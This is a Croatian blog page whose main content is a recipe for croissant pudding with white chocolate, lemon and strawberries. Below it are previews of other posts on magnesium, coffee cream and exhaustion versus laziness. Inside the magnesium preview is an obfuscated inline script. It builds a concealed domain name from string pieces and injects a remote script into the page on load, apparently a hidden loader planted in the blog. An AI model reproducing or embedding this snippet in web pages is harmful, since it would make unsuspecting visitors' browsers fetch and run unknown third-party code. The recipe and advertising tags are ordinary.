CROISSANT PUDDING S BIJELOM ČOKOLADOM I JAGODAMA 🍓 🍫





Croissant pudding s bijelom čokoladom i jagodama 




Postoji nešto neodoljivo u receptima koji spajaju jednostavnost i luksuz. Croissant pudding upravo je takvo jelo: raskošan, mirisan i utješan desert koji bez puno truda izgleda kao da je stigao iz male pariške slastičarnice. U ovoj proljetnoj verziji dodali smo bijelu čokoladu, svježu limunovu koricu i sočne jagode, stvarajući savršen balans između kremaste slatkoće i svježine citrusa.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Croissant pudding s bijelom čokoladom i jagodama 


Sastojci:

  • 4 veća kroasana (po mogućnosti dan stara)
  • 300 g svježih jagoda
  • 120 g kvalitetne bijele čokolade
  • 4 jaja
  • 400 ml punomasnog mlijeka
  • 200 ml slatkog vrhnja za šlag
  • 80 g šećera
  • 1 žličica ekstrakta vanilije
  • naribana korica 1 neprskanog limuna
  • 1 žlica limunovog soka
  • prstohvat soli
  • maslac za premazivanje kalupa
  • šećer u prahu za posipanje
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Priprema:

  • Kroasane natrgajte na veće komade i rasporedite ih u prethodno namazan vatrostalni kalup. Jagode operite, očistite i prerežite na polovice ili četvrtine, ovisno o veličini. Polovicu jagoda rasporedite među komade kroasana.
  • Bijelu čokoladu nasjeckajte na sitnije komade i ravnomjerno pospite po smjesi u kalupu.
  • U većoj zdjeli umutite jaja sa šećerom dok ne postanu svijetla i lagano pjenasta. Dodajte mlijeko, slatko vrhnje, vaniliju, limunovu koricu, limunov sok i prstohvat soli te sve lagano sjedinite.
  • Dobivenu kremastu smjesu polako prelijte preko kroasana, pazeći da se svi komadi dobro natope. Lagano pritisnite kroasane vilicom ili žlicom kako bi upili tekućinu. Ostavite da odstoji 15 do 20 minuta – ovaj korak je ključan za savršeno sočan rezultat.
  • Preostale jagode rasporedite po vrhu kako bi tijekom pečenja lagano karamelizirale i otpustile sokove. Pecite u prethodno zagrijanoj pećnici na 170 °C oko 35 do 40 minuta, dok površina ne dobije zlatno-smeđu boju, a sredina ostane lagano kremasta, ali stabilna.
  • Izvadite iz pećnice i ostavite da se odmori desetak minuta prije posluživanja. Posipajte šećerom u prahu i, po želji, dodajte još svježih jagoda ili žlicu tučenog vrhnja.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više